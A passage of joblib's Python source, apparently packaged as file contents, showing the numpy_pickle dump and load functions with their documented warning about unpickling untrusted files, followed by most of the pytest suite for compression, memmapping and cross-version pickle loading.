'bz2', 'lzma'\n        'xz'), the second element must be an integer from 0 to 9, corresponding\n        to the compression level.\n    protocol: int, optional\n        Pickle protocol, see pickle.dump documentation for more details.\n    cache_size: positive int, optional\n        This option is deprecated in 0.10 and has no effect.\n\n    Returns\n    -------\n    filenames: list of strings\n        The list of file names in which the data is stored. If\n        compress is false, each array is stored in a different file.\n\n    See Also\n    --------\n    joblib.load : corresponding loader\n\n    Notes\n    -----\n    Memmapping on load cannot be used for compressed files. Thus\n    using compression can significantly slow down loading. In\n    addition, compressed files take up extra memory during\n    dump and load.\n\n    \"\"\"\n\n    if Path is not None and isinstance(filename, Path):\n        filename = str(filename)\n\n    is_filename = isinstance(filename, str)\n    is_fileobj = hasattr(filename, \"write\")\n\n    compress_method = 'zlib'  # zlib is the default compression method.\n    if compress is True:\n        # By default, if compress is enabled, we want the default compress\n        # level of the compressor.\n        compress_level = None\n    elif isinstance(compress, tuple):\n        # a 2-tuple was set in compress\n        if len(compress) != 2:\n            raise ValueError(\n                'Compress argument tuple should contain exactly 2 elements: '\n                '(compress method, compress level), you passed {}'\n                .format(compress))\n        compress_method, compress_level = compress\n    elif isinstance(compress, str):\n        compress_method = compress\n        compress_level = None  # Use default compress level\n        compress = (compress_method, compress_level)\n    else:\n        compress_level = compress\n\n    if compress_method == 'lz4' and lz4 is None:\n        raise ValueError(LZ4_NOT_INSTALLED_ERROR)\n\n    if (compress_level is not None and\n            compress_level is not False and\n            compress_level not in range(10)):\n        # Raising an error if a non valid compress level is given.\n        raise ValueError(\n            'Non valid compress level given: \"{}\". Possible values are '\n            '{}.'.format(compress_level, list(range(10))))\n\n    if compress_method not in _COMPRESSORS:\n        # Raising an error if an unsupported compression method is given.\n        raise ValueError(\n            'Non valid compression method given: \"{}\". Possible values are '\n            '{}.'.format(compress_method, _COMPRESSORS))\n\n    if not is_filename and not is_fileobj:\n        # People keep inverting arguments, and the resulting error is\n        # incomprehensible\n        raise ValueError(\n            'Second argument should be a filename or a file-like object, '\n            '%s (type %s) was given.'\n            % (filename, type(filename))\n        )\n\n    if is_filename and not isinstance(compress, tuple):\n        # In case no explicit compression was requested using both compression\n        # method and level in a tuple and the filename has an explicit\n        # extension, we select the corresponding compressor.\n\n        # unset the variable to be sure no compression level is set afterwards.\n        compress_method = None\n        for name, compressor in _COMPRESSORS.items():\n            if filename.endswith(compressor.extension):\n                compress_method = name\n\n        if compress_method in _COMPRESSORS and compress_level == 0:\n            # we choose the default compress_level in case it was not given\n            # as an argument (using compress).\n            compress_level = None\n\n    if cache_size is not None:\n        # Cache size is deprecated starting from version 0.10\n        warnings.warn(\"Please do not set 'cache_size' in joblib.dump, \"\n                      \"this parameter has no effect and will be removed. \"\n                      \"You used 'cache_size={}'\".format(cache_size),\n                      DeprecationWarning, stacklevel=2)\n\n    if compress_level != 0:\n        with _write_fileobject(filename, compress=(compress_method,\n                                                   compress_level)) as f:\n            NumpyPickler(f, protocol=protocol).dump(value)\n    elif is_filename:\n        with open(filename, 'wb') as f:\n            NumpyPickler(f, protocol=protocol).dump(value)\n    else:\n        NumpyPickler(filename, protocol=protocol).dump(value)\n\n    # If the target container is a file object, nothing is returned.\n    if is_fileobj:\n        return\n\n    # For compatibility, the list of created filenames (e.g with one element\n    # after 0.10.0) is returned by default.\n    return [filename]\n\n\ndef _unpickle(fobj, filename=\"\", mmap_mode=None):\n    \"\"\"Internal unpickling function.\"\"\"\n    # We are careful to open the file handle early and keep it open to\n    # avoid race-conditions on renames.\n    # That said, if data is stored in companion files, which can be\n    # the case with the old persistence format, moving the directory\n    # will create a race when joblib tries to access the companion\n    # files.\n    unpickler = NumpyUnpickler(filename, fobj, mmap_mode=mmap_mode)\n    obj = None\n    try:\n        obj = unpickler.load()\n        if unpickler.compat_mode:\n            warnings.warn(\"The file '%s' has been generated with a \"\n                          \"joblib version less than 0.10. \"\n                          \"Please regenerate this pickle file.\"\n                          % filename,\n                          DeprecationWarning, stacklevel=3)\n    except UnicodeDecodeError as exc:\n        # More user-friendly error message\n        new_exc = ValueError(\n            'You may be trying to read with '\n            'python 3 a joblib pickle generated with python 2. '\n            'This feature is not supported by joblib.')\n        new_exc.__cause__ = exc\n        raise new_exc\n    return obj\n\n\ndef load_temporary_memmap(filename, mmap_mode, unlink_on_gc_collect):\n    from ._memmapping_reducer import JOBLIB_MMAPS, add_maybe_unlink_finalizer\n    obj = load(filename, mmap_mode)\n    JOBLIB_MMAPS.add(obj.filename)\n    if unlink_on_gc_collect:\n        add_maybe_unlink_finalizer(obj)\n    return obj\n\n\ndef load(filename, mmap_mode=None):\n    \"\"\"Reconstruct a Python object from a file persisted with joblib.dump.\n\n    Read more in the :ref:`User Guide <persistence>`.\n\n    WARNING: joblib.load relies on the pickle module and can therefore\n    execute arbitrary Python code. It should therefore never be used\n    to load files from untrusted sources.\n\n    Parameters\n    ----------\n    filename: str, pathlib.Path, or file object.\n        The file object or path of the file from which to load the object\n    mmap_mode: {None, 'r+', 'r', 'w+', 'c'}, optional\n        If not None, the arrays are memory-mapped from the disk. This\n        mode has no effect for compressed files. Note that in this\n        case the reconstructed object might no longer match exactly\n        the originally pickled object.\n\n    Returns\n    -------\n    result: any Python object\n        The object stored in the file.\n\n    See Also\n    --------\n    joblib.dump : function to save an object\n\n    Notes\n    -----\n\n    This function can load numpy array files saved separately during the\n    dump. If the mmap_mode argument is given, it is passed to np.load and\n    arrays are loaded as memmaps. As a consequence, the reconstructed\n    object might not match the original pickled object. Note that if the\n    file was saved with compression, the arrays cannot be memmapped.\n    \"\"\"\n    if Path is not None and isinstance(filename, Path):\n        filename = str(filename)\n\n    if hasattr(filename, \"read\"):\n        fobj = filename\n        filename = getattr(fobj, 'name', '')\n        with _read_fileobject(fobj, filename, mmap_mode) as fobj:\n            obj = _unpickle(fobj)\n    else:\n        with open(filename, 'rb') as f:\n            with _read_fileobject(f, filename, mmap_mode) as fobj:\n                if isinstance(fobj, str):\n                    # if the returned file object is a string, this means we\n                    # try to load a pickle file generated with an version of\n                    # Joblib so we load it with joblib compatibility function.\n                    return load_compatibility(fobj)\n\n                obj = _unpickle(fobj, filename, mmap_mode)\n    return obj\n", "joblib/test/test_numpy_pickle.py": "\"\"\"Test the numpy pickler as a replacement of the standard pickler.\"\"\"\n\nimport copy\nimport os\nimport random\nimport re\nimport io\nimport sys\nimport warnings\nimport gzip\nimport zlib\nimport bz2\nimport pickle\nimport socket\nfrom contextlib import closing\nimport mmap\nfrom pathlib import Path\n\ntry:\n    import lzma\nexcept ImportError:\n    lzma = None\n\nimport pytest\n\nfrom joblib.test.common import np, with_numpy, with_lz4, without_lz4\nfrom joblib.test.common import with_memory_profiler, memory_used\nfrom joblib.testing import parametrize, raises, warns\n\n# numpy_pickle is not a drop-in replacement of pickle, as it takes\n# filenames instead of open files as arguments.\nfrom joblib import numpy_pickle, register_compressor\nfrom joblib.test import data\n\nfrom joblib.numpy_pickle_utils import _IO_BUFFER_SIZE\nfrom joblib.numpy_pickle_utils import _detect_compressor\nfrom joblib.numpy_pickle_utils import _is_numpy_array_byte_order_mismatch\nfrom joblib.numpy_pickle_utils import _ensure_native_byte_order\nfrom joblib.compressor import (_COMPRESSORS, _LZ4_PREFIX, CompressorWrapper,\n                               LZ4_NOT_INSTALLED_ERROR, BinaryZlibFile)\n\n\n###############################################################################\n# Define a list of standard types.\n# Borrowed from dill, initial author: Micheal McKerns:\n# http://dev.danse.us/trac/pathos/browser/dill/dill_test2.py\n\ntypelist = []\n\n# testing types\n_none = None\ntypelist.append(_none)\n_type = type\ntypelist.append(_type)\n_bool = bool(1)\ntypelist.append(_bool)\n_int = int(1)\ntypelist.append(_int)\n_float = float(1)\ntypelist.append(_float)\n_complex = complex(1)\ntypelist.append(_complex)\n_string = str(1)\ntypelist.append(_string)\n_tuple = ()\ntypelist.append(_tuple)\n_list = []\ntypelist.append(_list)\n_dict = {}\ntypelist.append(_dict)\n_builtin = len\ntypelist.append(_builtin)\n\n\ndef _function(x):\n    yield x\n\n\nclass _class:\n    def _method(self):\n        pass\n\n\nclass _newclass(object):\n    def _method(self):\n        pass\n\n\ntypelist.append(_function)\ntypelist.append(_class)\ntypelist.append(_newclass)  # <type 'type'>\n_instance = _class()\ntypelist.append(_instance)\n_object = _newclass()\ntypelist.append(_object)  # <type 'class'>\n\n\n###############################################################################\n# Tests\n\n@parametrize('compress', [0, 1])\n@parametrize('member', typelist)\ndef test_standard_types(tmpdir, compress, member):\n    # Test pickling and saving with standard types.\n    filename = tmpdir.join('test.pkl').strpath\n    numpy_pickle.dump(member, filename, compress=compress)\n    _member = numpy_pickle.load(filename)\n    # We compare the pickled instance to the reloaded one only if it\n    # can be compared to a copied one\n    if member == copy.deepcopy(member):\n        assert member == _member\n\n\ndef test_value_error():\n    # Test inverting the input arguments to dump\n    with raises(ValueError):\n        numpy_pickle.dump('foo', dict())\n\n\n@parametrize('wrong_compress', [-1, 10, dict()])\ndef test_compress_level_error(wrong_compress):\n    # Verify that passing an invalid compress argument raises an error.\n    exception_msg = ('Non valid compress level given: '\n                     '\"{0}\"'.format(wrong_compress))\n    with raises(ValueError) as excinfo:\n        numpy_pickle.dump('dummy', 'foo', compress=wrong_compress)\n    excinfo.match(exception_msg)\n\n\n@with_numpy\n@parametrize('compress', [False, True, 0, 3, 'zlib'])\ndef test_numpy_persistence(tmpdir, compress):\n    filename = tmpdir.join('test.pkl').strpath\n    rnd = np.random.RandomState(0)\n    a = rnd.random_sample((10, 2))\n    # We use 'a.T' to have a non C-contiguous array.\n    for index, obj in enumerate(((a,), (a.T,), (a, a), [a, a, a])):\n        filenames = numpy_pickle.dump(obj, filename, compress=compress)\n\n        # All is cached in one file\n        assert len(filenames) == 1\n        # Check that only one file was created\n        assert filenames[0] == filename\n        # Check that this file does exist\n        assert os.path.exists(filenames[0])\n\n        # Unpickle the object\n        obj_ = numpy_pickle.load(filename)\n        # Check that the items are indeed arrays\n        for item in obj_:\n            assert isinstance(item, np.ndarray)\n        # And finally, check that all the values are equal.\n        np.testing.assert_array_equal(np.array(obj), np.array(obj_))\n\n    # Now test with an array subclass\n    obj = np.memmap(filename + 'mmap', mode='w+', shape=4, dtype=np.float64)\n    filenames = numpy_pickle.dump(obj, filename, compress=compress)\n    # All is cached in one file\n    assert len(filenames) == 1\n\n    obj_ = numpy_pickle.load(filename)\n    if (type(obj) is not np.memmap and\n            hasattr(obj, '__array_prepare__')):\n        # We don't reconstruct memmaps\n        assert isinstance(obj_, type(obj))\n\n    np.testing.assert_array_equal(obj_, obj)\n\n    # Test with an object containing multiple numpy arrays\n    obj = ComplexTestObject()\n    filenames = numpy_pickle.dump(obj, filename, compress=compress)\n    # All is cached in one file\n    assert len(filenames) == 1\n\n    obj_loaded = numpy_pickle.load(filename)\n    assert isinstance(obj_loaded, type(obj))\n    np.testing.assert_array_equal(obj_loaded.array_float, obj.array_float)\n    np.testing.assert_array_equal(obj_loaded.array_int, obj.array_int)\n    np.testing.assert_array_equal(obj_loaded.array_obj, obj.array_obj)\n\n\n@with_numpy\ndef test_numpy_persistence_bufferred_array_compression(tmpdir):\n    big_array = np.ones((_IO_BUFFER_SIZE + 100), dtype=np.uint8)\n    filename = tmpdir.join('test.pkl').strpath\n    numpy_pickle.dump(big_array, filename, compress=True)\n    arr_reloaded = numpy_pickle.load(filename)\n\n    np.testing.assert_array_equal(big_array, arr_reloaded)\n\n\n@with_numpy\ndef test_memmap_persistence(tmpdir):\n    rnd = np.random.RandomState(0)\n    a = rnd.random_sample(10)\n    filename = tmpdir.join('test1.pkl').strpath\n    numpy_pickle.dump(a, filename)\n    b = numpy_pickle.load(filename, mmap_mode='r')\n\n    assert isinstance(b, np.memmap)\n\n    # Test with an object containing multiple numpy arrays\n    filename = tmpdir.join('test2.pkl').strpath\n    obj = ComplexTestObject()\n    numpy_pickle.dump(obj, filename)\n    obj_loaded = numpy_pickle.load(filename, mmap_mode='r')\n    assert isinstance(obj_loaded, type(obj))\n    assert isinstance(obj_loaded.array_float, np.memmap)\n    assert not obj_loaded.array_float.flags.writeable\n    assert isinstance(obj_loaded.array_int, np.memmap)\n    assert not obj_loaded.array_int.flags.writeable\n    # Memory map not allowed for numpy object arrays\n    assert not isinstance(obj_loaded.array_obj, np.memmap)\n    np.testing.assert_array_equal(obj_loaded.array_float,\n                                  obj.array_float)\n    np.testing.assert_array_equal(obj_loaded.array_int,\n                                  obj.array_int)\n    np.testing.assert_array_equal(obj_loaded.array_obj,\n                                  obj.array_obj)\n\n    # Test we can write in memmapped arrays\n    obj_loaded = numpy_pickle.load(filename, mmap_mode='r+')\n    assert obj_loaded.array_float.flags.writeable\n    obj_loaded.array_float[0:10] = 10.0\n    assert obj_loaded.array_int.flags.writeable\n    obj_loaded.array_int[0:10] = 10\n\n    obj_reloaded = numpy_pickle.load(filename, mmap_mode='r')\n    np.testing.assert_array_equal(obj_reloaded.array_float,\n                                  obj_loaded.array_float)\n    np.testing.assert_array_equal(obj_reloaded.array_int,\n                                  obj_loaded.array_int)\n\n    # Test w+ mode is caught and the mode has switched to r+\n    numpy_pickle.load(filename, mmap_mode='w+')\n    assert obj_loaded.array_int.flags.writeable\n    assert obj_loaded.array_int.mode == 'r+'\n    assert obj_loaded.array_float.flags.writeable\n    assert obj_loaded.array_float.mode == 'r+'\n\n\n@with_numpy\ndef test_memmap_persistence_mixed_dtypes(tmpdir):\n    # loading datastructures that have sub-arrays with dtype=object\n    # should not prevent memmapping on fixed size dtype sub-arrays.\n    rnd = np.random.RandomState(0)\n    a = rnd.random_sample(10)\n    b = np.array([1, 'b'], dtype=object)\n    construct = (a, b)\n    filename = tmpdir.join('test.pkl').strpath\n    numpy_pickle.dump(construct, filename)\n    a_clone, b_clone = numpy_pickle.load(filename, mmap_mode='r')\n\n    # the floating point array has been memory mapped\n    assert isinstance(a_clone, np.memmap)\n\n    # the object-dtype array has been loaded in memory\n    assert not isinstance(b_clone, np.memmap)\n\n\n@with_numpy\ndef test_masked_array_persistence(tmpdir):\n    # The special-case picker fails, because saving masked_array\n    # not implemented, but it just delegates to the standard pickler.\n    rnd = np.random.RandomState(0)\n    a = rnd.random_sample(10)\n    a = np.ma.masked_greater(a, 0.5)\n    filename = tmpdir.join('test.pkl').strpath\n    numpy_pickle.dump(a, filename)\n    b = numpy_pickle.load(filename, mmap_mode='r')\n    assert isinstance(b, np.ma.masked_array)\n\n\n@with_numpy\ndef test_compress_mmap_mode_warning(tmpdir):\n    # Test the warning in case of compress + mmap_mode\n    rnd = np.random.RandomState(0)\n    a = rnd.random_sample(10)\n    this_filename = tmpdir.join('test.pkl').strpath\n    numpy_pickle.dump(a, this_filename, compress=1)\n    with warns(UserWarning) as warninfo:\n        numpy_pickle.load(this_filename, mmap_mode='r+')\n    debug_msg = \"\\n\".join([str(w) for w in warninfo])\n    warninfo = [w.message for w in warninfo]\n    assert len(warninfo) == 1, debug_msg\n    assert (\n        str(warninfo[0]) ==\n        'mmap_mode \"r+\" is not compatible with compressed '\n        f'file {this_filename}. \"r+\" flag will be ignored.'\n    )\n\n\n@with_numpy\n@parametrize('cache_size', [None, 0, 10])\ndef test_cache_size_warning(tmpdir, cache_size):\n    # Check deprecation warning raised when cache size is not None\n    filename = tmpdir.join('test.pkl').strpath\n    rnd = np.random.RandomState(0)\n    a = rnd.random_sample((10, 2))\n\n    warnings.simplefilter(\"always\")\n    with warnings.catch_warnings(record=True) as warninfo:\n        numpy_pickle.dump(a, filename, cache_size=cache_size)\n    expected_nb_warnings = 1 if cache_size is not None else 0\n    assert len(warninfo) == expected_nb_warnings\n    for w in warninfo:\n        assert w.category == DeprecationWarning\n        assert (str(w.message) ==\n                \"Please do not set 'cache_size' in joblib.dump, this \"\n                \"parameter has no effect and will be removed. You \"\n                \"used 'cache_size={0}'\".format(cache_size))\n\n\n@with_numpy\n@with_memory_profiler\n@parametrize('compress', [True, False])\ndef test_memory_usage(tmpdir, compress):\n    # Verify memory stays within expected bounds.\n    filename = tmpdir.join('test.pkl').strpath\n    small_array = np.ones((10, 10))\n    big_array = np.ones(shape=100 * int(1e6), dtype=np.uint8)\n\n    for obj in (small_array, big_array):\n        size = obj.nbytes / 1e6\n        obj_filename = filename + str(np.random.randint(0, 1000))\n        mem_used = memory_used(numpy_pickle.dump,\n                               obj, obj_filename, compress=compress)\n\n        # The memory used to dump the object shouldn't exceed the buffer\n        # size used to write array chunks (16MB).\n        write_buf_size = _IO_BUFFER_SIZE + 16 * 1024 ** 2 / 1e6\n        assert mem_used <= write_buf_size\n\n        mem_used = memory_used(numpy_pickle.load, obj_filename)\n        # memory used should be less than array size + buffer size used to\n        # read the array chunk by chunk.\n        read_buf_size = 32 + _IO_BUFFER_SIZE  # MiB\n        assert mem_used < size + read_buf_size\n\n\n@with_numpy\ndef test_compressed_pickle_dump_and_load(tmpdir):\n    expected_list = [np.arange(5, dtype=np.dtype('<i8')),\n                     np.arange(5, dtype=np.dtype('>i8')),\n                     np.arange(5, dtype=np.dtype('<f8')),\n                     np.arange(5, dtype=np.dtype('>f8')),\n                     np.array([1, 'abc', {'a': 1, 'b': 2}], dtype='O'),\n                     np.arange(256, dtype=np.uint8).tobytes(),\n                     u\"C'est l'\\xe9t\\xe9 !\"]\n\n    fname = tmpdir.join('temp.pkl.gz').strpath\n\n    dumped_filenames = numpy_pickle.dump(expected_list, fname, compress=1)\n    assert len(dumped_filenames) == 1\n    result_list = numpy_pickle.load(fname)\n    for result, expected in zip(result_list, expected_list):\n        if isinstance(expected, np.ndarray):\n            expected = _ensure_native_byte_order(expected)\n            assert result.dtype == expected.dtype\n            np.testing.assert_equal(result, expected)\n        else:\n            assert result == expected\n\n\ndef _check_pickle(filename, expected_list, mmap_mode=None):\n    \"\"\"Helper function to test joblib pickle content.\n\n    Note: currently only pickles containing an iterable are supported\n    by this function.\n    \"\"\"\n    version_match = re.match(r'.+py(\\d)(\\d).+', filename)\n    py_version_used_for_writing = int(version_match.group(1))\n\n    py_version_to_default_pickle_protocol = {2: 2, 3: 3}\n    pickle_reading_protocol = py_version_to_default_pickle_protocol.get(3, 4)\n    pickle_writing_protocol = py_version_to_default_pickle_protocol.get(\n        py_version_used_for_writing, 4)\n    if pickle_reading_protocol >= pickle_writing_protocol:\n        try:\n            with warnings.catch_warnings(record=True) as warninfo:\n                warnings.simplefilter('always')\n                warnings.filterwarnings(\n                    'ignore', module='numpy',\n                    message='The compiler package is deprecated')\n                result_list = numpy_pickle.load(filename, mmap_mode=mmap_mode)\n            filename_base = os.path.basename(filename)\n            expected_nb_deprecation_warnings = 1 if (\n                \"_0.9\" in filename_base or \"_0.8.4\" in filename_base) else 0\n\n            expected_nb_user_warnings = 3 if (\n                re.search(\"_0.1.+.pkl$\", filename_base) and\n                mmap_mode is not None) else 0\n            expected_nb_warnings = \\\n                expected_nb_deprecation_warnings + expected_nb_user_warnings\n            assert len(warninfo) == expected_nb_warnings\n\n            deprecation_warnings = [\n                w for w in warninfo if issubclass(\n                    w.category, DeprecationWarning)]\n            user_warnings = [\n                w for w in warninfo if issubclass(\n                    w.category, UserWarning)]\n            for w in deprecation_warnings:\n                assert (str(w.message) ==\n                        \"The file '{0}' has been generated with a joblib \"\n                        \"version less than 0.10. Please regenerate this \"\n                        \"pickle file.\".format(filename))\n\n            for w in user_warnings:\n                escaped_filename = re.escape(filename)\n                assert re.search(\n                    f\"memmapped.+{escaped_filename}.+segmentation fault\",\n                    str(w.message))\n\n            for result, expected in zip(result_list, expected_list):\n                if isinstance(expected, np.ndarray):\n                    expected = _ensure_native_byte_order(expected)\n                    assert result.dtype == expected.dtype\n                    np.testing.assert_equal(result, expected)\n                else:\n                    assert result == expected\n        except Exception as exc:\n            # When trying to read with python 3 a pickle generated\n            # with python 2 we expect a user-friendly error\n            if py_version_used_for_writing == 2:\n                assert isinstance(exc, ValueError)\n                message = ('You may be trying to read with '\n                           'python 3 a joblib pickle generated with python 2.')\n                assert message in str(exc)\n            elif filename.endswith('.lz4') and with_lz4.args[0]:\n                assert isinstance(exc, ValueError)\n                assert LZ4_NOT_INSTALLED_ERROR in str(exc)\n            else:\n                raise\n    else:\n        # Pickle protocol used for writing is too high. We expect a\n        # \"unsupported pickle protocol\" error message\n        try:\n            numpy_pickle.load(filename)\n            raise AssertionError('Numpy pickle loading should '\n                                 'have raised a ValueError exception')\n        except ValueError as e:\n            message = 'unsupported pickle protocol: {0}'.format(\n                pickle_writing_protocol)\n            assert message in str(e.args)\n\n\n@with_numpy\ndef test_joblib_pickle_across_python_versions():\n    # We need to be specific about dtypes in particular endianness\n    # because the pickles can be generated on one architecture and\n    # the tests run on another one. See\n    # https://github.com/joblib/joblib/issues/279.\n    expected_list = [np.arange(5, dtype=np.dtype('<i8')),\n                     np.arange(5, dtype=np.dtype('<f8')),\n                     np.array([1, 'abc', {'a': 1, 'b': 2}], dtype='O'),\n                     np.arange(256, dtype=np.uint8).tobytes(),\n                     # np.matrix is a subclass of np.ndarray, here we want\n                     # to verify this type of object is correctly unpickled\n                     # among versions.\n                     np.matrix([0, 1, 2], dtype=np.dtype('<i8')),\n                     u\"C'est l'\\xe9t\\xe9 !\"]\n\n    # Testing all the compressed and non compressed\n    # pickles in joblib/test/data. These pickles were generated by\n    # the joblib/test/data/create_numpy_pickle.py script for the\n    # relevant python, joblib and numpy versions.\n    test_data_dir = os.path.dirname(os.path.abspath(data.__file__))\n\n    pickle_extensions = ('.pkl', '.gz', '.gzip', '.bz2', 'lz4')\n    if lzma is not None:\n        pickle_extensions += ('.xz', '.lzma')\n    pickle_filenames = [os.path.join(test_data_dir, fn)\n                        for fn in os.listdir(test_data_dir)\n                        if any(fn.endswith(ext) for ext in pickle_extensions)]\n\n    for fname in pickle_filenames:\n        _check_pickle(fname, expected_list)\n\n\n@with_numpy\ndef test_joblib_pickle_across_python_versions_with_mmap():\n    expected_list = [np.arange(5, dtype=np.dtype('<i8')),\n                     np.arange(5, dtype=np.dtype('<f8')),\n                     np.array([1, 'abc', {'a': 1, 'b': 2}], dtype='O'),\n                     np.arange(256, dtype=np.uint8).tobytes(),\n                     # np.matrix is a subclass of np.ndarray, here we want\n                     # to verify this type of object is correctly unpickled\n                     # among versions.\n                     np.matrix([0, 1, 2], dtype=np.dtype('<i8')),\n                     u\"C'est l'\\xe9t\\xe9 !\"]\n\n    test_data_dir = os.path.dirname(os.path.abspath(data.__file__))\n\n    pickle_filenames = [\n        os.path.join(test_data_dir, fn)\n        for fn in os.listdir(test_data_dir) if fn.endswith('.pkl')]\n    for fname in pickle_filenames:\n        _check_pickle(fname, expected_list, mmap_mode='r')\n\n\n@with_numpy\ndef test_numpy_array_byte_order_mismatch_detection():\n    # List of numpy arrays with big endian byteorder.\n    be_arrays = [np.array([(1, 2.0), (3, 4.0)],\n                          dtype=[('', '>i8'), ('', '>f8')]),\n                 np.arange(3, dtype=np.dtype('>i8')),\n                 np.arange(3, dtype=np.dtype('>f8'))]\n\n    # Verify the byteorder mismatch is correctly detected.\n    for array in be_arrays:\n        if sys.byteorder == 'big':\n            assert not _is_numpy_array_byte_order_mismatch(array)\n        else:\n            assert _is_numpy_array_byte_order_mismatch(array)\n        converted = _ensure_native_byte_order(array)\n        if converted.dtype.fields:\n            for f in converted.dtype.fields.values():\n                f[0].byteorder == '='\n        else:\n            assert converted.dtype.byteorder == \"=\"\n\n    # List of numpy arrays with little endian byteorder.\n    le_arrays = [np.array([(1, 2.0), (3, 4.0)],\n                          dtype=[('', '<i8'), ('', '<f8')]),\n                 np.arange(3, dtype=np.dtype('<i8')),\n                 np.arange(3, dtype=np.dtype('<f8'))]\n\n    # Verify the byteorder mismatch is correctly detected.\n    for array in le_arrays:\n        if sys.byteorder == 'little':\n            assert not _is_numpy_array_byte_order_mismatch(array)\n        else:\n            assert _is_numpy_array_byte_order_mismatch(array)\n        converted = _ensure_native_byte_order(array)\n        if converted.dtype.fields:\n            for f in converted.dtype.fields.values():\n                f[0].byteorder == '='\n        else:\n            assert converted.dtype.byteorder == \"=\"\n\n\n@parametrize('compress_tuple', [('zlib', 3), ('gzip', 3)])\ndef test_compress_tuple_argument(tmpdir, compress_tuple):\n    # Verify the tuple is correctly taken into account.\n    filename = tmpdir.join('test.pkl').strpath\n    numpy_pickle.dump(\"dummy\", filename,\n                      compress=compress_tuple)\n    # Verify the file contains the right magic number\n    with open(filename, 'rb') as f:\n        assert _detect_compressor(f) == compress_tuple[0]\n\n\n@parametrize('compress_tuple,message',\n             [(('zlib', 3, 'extra'),        # wrong compress tuple\n               'Compress argument tuple should contain exactly 2 elements'),\n              (('wrong', 3),                # wrong compress method\n               'Non valid compression method given: \"{}\"'.format('wrong')),\n              (('zlib', 'wrong'),           # wrong compress level\n               'Non valid compress level given: \"{}\"'.format('wrong'))])\ndef test_compress_tuple_argument_exception(tmpdir, compress_tuple, message):\n    filename = tmpdir.join('test.pkl').strpath\n    # Verify setting a wrong compress tuple raises a ValueError.\n    with raises(ValueError) as excinfo:\n        numpy_pickle.dump('dummy', filename, compress=compress_tuple)\n    excinfo.match(message)\n\n\n@parametrize('compress_string', ['zlib', 'gzip'])\ndef test_compress_string_argument(tmpdir, compress_string):\n    # Verify the string is correctly taken into account.\n    filename = tmpdir.join('test.pkl').strpath\n    numpy_pickle.dump(\"dummy\", filename,\n                      compress=compress_string)\n    # Verify the file contains the right magic number\n    with open(filename, 'rb') as f:\n        assert _detect_compressor(f) == compress_string\n\n\n@with_numpy\n@parametrize('compress', [1, 3, 6])\n@parametrize('cmethod', _COMPRESSORS)\ndef test_joblib_compression_formats(tmpdir, compress, cmethod):\n    filename = tmpdir.join('test.pkl').strpath\n    objects = (np.ones(shape=(100, 100), dtype='f8'),\n               range(10),\n               {'a': 1, 2: 'b'}, [], (), {}, 0, 1.0)\n\n    if cmethod in (\"lzma\", \"xz\") and lzma is None:\n        pytest.skip(\"lzma is support not available\")\n\n    elif cmethod == 'lz4' and with_lz4.args[0]:\n        # Skip the test if lz4 is not installed. We here use the with_lz4\n        # skipif fixture whose argument is True when lz4 is not installed\n        pytest.skip(\"lz4 is not installed.\")\n\n    dump_filename = filename + \".\" + cmethod\n    for obj in objects:\n        numpy_pickle.dump(obj, dump_filename, compress=(cmethod, compress))\n        # Verify the file contains the right magic number\n        with open(dump_filename, 'rb') as f:\n            assert _detect_compressor(f) == cmethod\n        # Verify the reloaded object is correct\n        obj_reloaded = numpy_pickle.load(dump_filename)\n        assert isinstance(obj_reloaded, type(obj))\n        if isinstance(obj, np.ndarray):\n            np.testing.assert_array_equal(obj_reloaded, obj)\n        else:\n            assert obj_reloaded == obj\n\n\ndef _gzip_file_decompress(source_filename, target_filename):\n    \"\"\"Decompress a gzip file.\"\"\"\n    with closing(gzip.GzipFile(source_filename, \"rb\")) as fo:\n        buf = fo.read()\n\n    with open(target_filename, \"wb\") as fo:\n        fo.write(buf)\n\n\ndef _zlib_file_decompress(source_filename, target_filename):\n    \"\"\"Decompress a zlib file.\"\"\"\n    with open(source_filename, 'rb') as fo:\n        buf = zlib.decompress(fo.read())\n\n    with open(target_filename, 'wb') as fo:\n        fo.write(buf)\n\n\n@parametrize('extension,decompress',\n             [('.z', _zlib_file_decompress),\n              ('.gz', _gzip_file_decompress)])\ndef test_load_externally_decompressed_files(tmpdir, extension, decompress):\n    # Test that BinaryZlibFile generates valid gzip and zlib compressed files.\n    obj = \"a string to persist\"\n    filename_raw = tmpdir.join('test.pkl').strpath\n\n    filename_compressed = filename_raw + extension\n    # Use automatic extension detection to compress with the right method.\n    numpy_pickle.dump(obj, filename_compressed)\n\n    # Decompress with the corresponding method\n    decompress(filename_compressed, filename_raw)\n\n    # Test that the uncompressed pickle can be loaded and\n    # that the result is correct.\n    obj_reloaded = numpy_pickle.load(filename_raw)\n    assert obj == obj_reloaded\n\n\n@parametrize('extension,cmethod',\n             # valid compressor extensions\n             [('.z', 'zlib'),\n              ('.gz', 'gzip'),\n              ('.bz2', 'bz2'),\n              ('.lzma', 'lzma'),\n              ('.xz', 'xz'),\n              # invalid compressor extensions\n              ('.pkl', 'not-compressed'),\n              ('', 'not-compressed')])\ndef test_compression_using_file_extension(tmpdir, extension, cmethod):\n    if cmethod in (\"lzma\", \"xz\") and lzma is None:\n        pytest.skip(\"lzma is missing\")\n    # test that compression method corresponds to the given filename extension.\n    filename = tmpdir.join('test.pkl').strpath\n    obj = \"object to dump\"\n\n    dump_fname = filename + extension\n    numpy_pickle.dump(obj, dump_fname)\n    # Verify the file contains the right magic number\n    with open(dump_fname, 'rb') as f:\n        assert _detect_compressor(f) == cmethod\n    # Verify the reloaded object is correct\n    obj_reloaded = numpy_pickle.load(dump_fname)\n    assert isinstance(obj_reloaded, type(obj))\n    assert obj_reloaded == obj\n\n\n@with_numpy\ndef test_file_handle_persistence(tmpdir):\n    objs = [np.random.random((10, 10)), \"some data\"]\n    fobjs = [bz2.BZ2File, gzip.GzipFile]\n    if lzma is not None:\n        fobjs += [lzma.LZMAFile]\n    filename = tmpdir.join('test.pkl').strpath\n\n    for obj in objs:\n        for fobj in fobjs:\n            with fobj(filename, 'wb') as f:\n                numpy_pickle.dump(obj, f)\n\n            # using the same decompressor prevents from internally\n            # decompress again.\n            with fobj(filename, 'rb') as f:\n                obj_reloaded = numpy_pickle.load(f)\n\n            # when needed, the correct decompressor should be used when\n            # passing a raw file handle.\n            with open(filename, 'rb') as f:\n                obj_reloaded_2 = numpy_pickle.load(f)\n\n            if isinstance(obj, np.ndarray):\n                np.testing.assert_array_equal(obj_reloaded, obj)\n                np.testing.assert_array_equal(obj_reloaded_2, obj)\n            else:\n                assert obj_reloaded == obj\n                assert obj_reloaded_2 == obj\n\n\n@with_numpy\ndef test_in_memory_persistence():\n    objs = [np.random.random((10, 10)), 